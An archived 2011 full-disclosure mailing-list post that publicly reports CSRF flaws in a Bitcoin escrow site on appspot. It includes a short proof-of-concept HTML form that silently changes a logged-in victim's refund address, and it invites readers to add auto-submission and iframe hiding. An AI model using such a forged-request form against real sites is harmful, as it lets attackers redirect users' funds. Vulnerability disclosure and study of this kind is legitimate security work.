From: Doug Huff <dhuff@jrbobdobbs•org>
To: full-disclosure@lists•grok.org.uk
Cc: Bitcoin Dev <bitcoin-development@lists•sourceforge.net>
Subject: [Bitcoin-development] Bitcoin fun day!
Date: Sun, 19 Jun 2011 16:54:28 -0500 [thread overview]
Message-ID: <2B2201C1-E59F-47D4-BF67-08FDB0DDE386@jrbobdobbs.org> (raw)
[-- Attachment #1.1: Type: text/plain, Size: 1367 bytes --]
In light of recent events in the "bitcoin community" I have decided that private disclosure of issues is doing nothing but making them more prevalent.
In light of this decision I would like to report multiple CSRF vulnerabilities in http://clearcoin.appspot.com .
This set of CSRFs are particularly nasty since this is hosted on appspot and uses google account auth. So long as you stay logged into your google account you are vulnerable to this CSRF.
Things tested:
Changing refund address.
Releasing funds.
POC code (open this in any browser even from a local file):
==========
<html><head><title>test</title></head>
<body>
<form id="refund_address_form" action="https://clearcoin.appspot.com/set_refund_address" method="POST">
<label for="refund_address">Your bitcoin address:</label>
<input type="text" name="refund_address" id="refund_address" size="60" value="PUT ANY ADDRESS HERE"
class="text ui-widget-content ui-corner-all" autofocus required placeholder="refund bitcoin address"/> (required)
</form>
</body>
</html>
==========
Javascript auto submittal, hiding in an iframe, and other obfuscation methods are left as an exercise to the list.
This site is run and maintained by Gavin Anderson, aka, the lead bitcoin maintainer.
You should know better Gavin.
--
Douglas Huff
[-- Attachment #1.2: smime.p7s --]
[-- Type: application/pkcs7-signature, Size: 3737 bytes --]
[-- Attachment #2: This is a digitally signed message part --]
[-- Type: application/pgp-signature, Size: 881 bytes --]
next reply other threads:[~2011-06-19 21:54 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2011-06-19 21:54 Doug Huff [this message]
2011-06-19 22:33 ` Gavin Andresen
2011-06-19 22:36 ` Douglas Huff
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=2B2201C1-E59F-47D4-BF67-08FDB0DDE386@jrbobdobbs.org \
--to=dhuff@jrbobdobbs$(echo .)org \
--cc=bitcoin-development@lists$(echo .)sourceforge.net \
--cc=full-disclosure@lists$(echo .)grok.org.uk \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox